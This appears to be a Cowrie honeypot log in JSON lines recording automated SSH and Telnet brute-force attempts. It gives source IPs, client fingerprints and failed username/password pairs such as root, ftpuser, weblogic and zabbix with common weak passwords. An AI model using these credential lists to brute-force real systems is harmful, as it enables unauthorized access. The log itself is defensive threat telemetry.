{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:10.774671Z","src_ip":"45.153.34.97","session":"6ca6b8de77bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:10.876896Z","src_ip":"45.153.34.97","session":"6ca6b8de77bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:11.809095Z","src_ip":"45.153.34.97","session":"6ca6b8de77bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.37.70.224","src_port":40966,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bd739dcf291","protocol":"ssh","message":"New connection: 193.37.70.224:40966 (159.203.135.109:22) [session: 6bd739dcf291]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:12.692280Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:12.695634Z","src_ip":"193.37.70.224","session":"6bd739dcf291","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:12.784422Z","src_ip":"193.37.70.224","session":"6bd739dcf291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:12.896694Z","src_ip":"45.153.34.97","session":"6ca6b8de77bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zxcvbnm,./","message":"login attempt [root/zxcvbnm,./] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:13.132433Z","src_ip":"193.37.70.224","session":"6bd739dcf291","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:14.230168Z","src_ip":"193.37.70.224","session":"6bd739dcf291","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":24324,"dst_ip":"10.17.0.5","dst_port":22,"session":"f53a87ba0e13","protocol":"ssh","message":"New connection: 45.153.34.97:24324 (10.17.0.5:22) [session: f53a87ba0e13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:15.003497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:15.018304Z","src_ip":"45.153.34.97","session":"f53a87ba0e13","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:15.100722Z","src_ip":"45.153.34.97","session":"f53a87ba0e13","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser","password":"p@ssw0rd","message":"login attempt [ftpuser/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:15.772516Z","src_ip":"45.153.34.97","session":"f53a87ba0e13","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:16.869704Z","src_ip":"45.153.34.97","session":"f53a87ba0e13","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":24332,"dst_ip":"10.17.0.5","dst_port":22,"session":"acc69bee904b","protocol":"ssh","message":"New connection: 45.153.34.97:24332 (10.17.0.5:22) [session: acc69bee904b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:19.111367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:19.115371Z","src_ip":"45.153.34.97","session":"acc69bee904b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:19.197263Z","src_ip":"45.153.34.97","session":"acc69bee904b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:19.725275Z","src_ip":"45.153.34.97","session":"acc69bee904b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:20.809958Z","src_ip":"45.153.34.97","session":"acc69bee904b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42188,"dst_ip":"10.17.0.5","dst_port":23,"session":"9cfaa77a587f","protocol":"telnet","message":"New connection: 152.42.224.71:42188 (10.17.0.5:23) [session: 9cfaa77a587f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:21.372125Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":14204,"dst_ip":"10.17.0.5","dst_port":22,"session":"95de5c0ab70b","protocol":"ssh","message":"New connection: 45.153.34.97:14204 (10.17.0.5:22) [session: 95de5c0ab70b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:23.586588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:23.590799Z","src_ip":"45.153.34.97","session":"95de5c0ab70b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:23.689792Z","src_ip":"45.153.34.97","session":"95de5c0ab70b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"p@ssw0rd","message":"login attempt [weblogic/p@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:24.294452Z","src_ip":"45.153.34.97","session":"95de5c0ab70b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:25.387769Z","src_ip":"45.153.34.97","session":"95de5c0ab70b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42194,"dst_ip":"10.17.0.5","dst_port":23,"session":"087ba52ccda3","protocol":"telnet","message":"New connection: 152.42.224.71:42194 (10.17.0.5:23) [session: 087ba52ccda3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:25.825157Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":14216,"dst_ip":"10.17.0.5","dst_port":22,"session":"fc1e3547a502","protocol":"ssh","message":"New connection: 45.153.34.97:14216 (10.17.0.5:22) [session: fc1e3547a502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:28.003191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:28.012392Z","src_ip":"45.153.34.97","session":"fc1e3547a502","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:28.103970Z","src_ip":"45.153.34.97","session":"fc1e3547a502","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zookeeper","password":"zookeeper123","message":"login attempt [zookeeper/zookeeper123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:28.385285Z","src_ip":"45.153.34.97","session":"fc1e3547a502","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:29.473106Z","src_ip":"45.153.34.97","session":"fc1e3547a502","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39972,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3c9c355d928","protocol":"telnet","message":"New connection: 152.42.224.71:39972 (10.17.0.5:23) [session: b3c9c355d928]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:31.649041Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":17084,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2cb6c30dd58","protocol":"ssh","message":"New connection: 45.153.34.97:17084 (10.17.0.5:22) [session: f2cb6c30dd58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:32.368955Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:32.377090Z","src_ip":"45.153.34.97","session":"f2cb6c30dd58","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:32.480080Z","src_ip":"45.153.34.97","session":"f2cb6c30dd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":49.19274377822876,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:32.584748Z","src_ip":"152.42.224.71","session":"ac16022a390f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"zabbix","password":"password","message":"login attempt [zabbix/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:32.789059Z","src_ip":"45.153.34.97","session":"f2cb6c30dd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:33.883096Z","src_ip":"45.153.34.97","session":"f2cb6c30dd58","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.049514293670654,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:34.421544Z","src_ip":"152.42.224.71","session":"9cfaa77a587f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39978,"dst_ip":"10.17.0.5","dst_port":23,"session":"39ad99b48bb3","protocol":"telnet","message":"New connection: 152.42.224.71:39978 (10.17.0.5:23) [session: 39ad99b48bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:35.577655Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.97","src_port":17104,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba6595bca257","protocol":"ssh","message":"New connection: 45.153.34.97:17104 (10.17.0.5:22) [session: ba6595bca257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:36.369713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:36.373736Z","src_ip":"45.153.34.97","session":"ba6595bca257","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T07:59:36.473166Z","src_ip":"45.153.34.97","session":"ba6595bca257","protocol":"ssh"}
